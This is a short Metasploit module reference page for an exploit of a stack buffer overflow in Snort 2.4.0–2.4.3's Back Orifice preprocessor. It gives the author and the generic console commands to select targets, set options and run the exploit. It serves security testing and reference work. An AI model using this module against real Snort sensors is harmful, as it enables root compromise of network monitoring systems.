Snort Back Orifice Pre-Preprocessor Buffer Overflow
Description
This module exploits a stack buffer overflow in the Back Orifice pre-processor module included with Snort versions 2.4.0, 2.4.1, 2.4.2, and 2.4.3. This vulnerability could be used to completely compromise a Snort sensor, and would typically gain an attacker full root or administrative privileges.
Author(s)
- KaiJern Lau <xwings@mysec.org>
Platform
Linux
Development
Module Options
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/linux/ids/snortbopre
msf exploit(snortbopre) > show targets
...targets...
msf exploit(snortbopre) > set TARGET < target-id >
msf exploit(snortbopre) > show options
...show and set options...
msf exploit(snortbopre) > exploit
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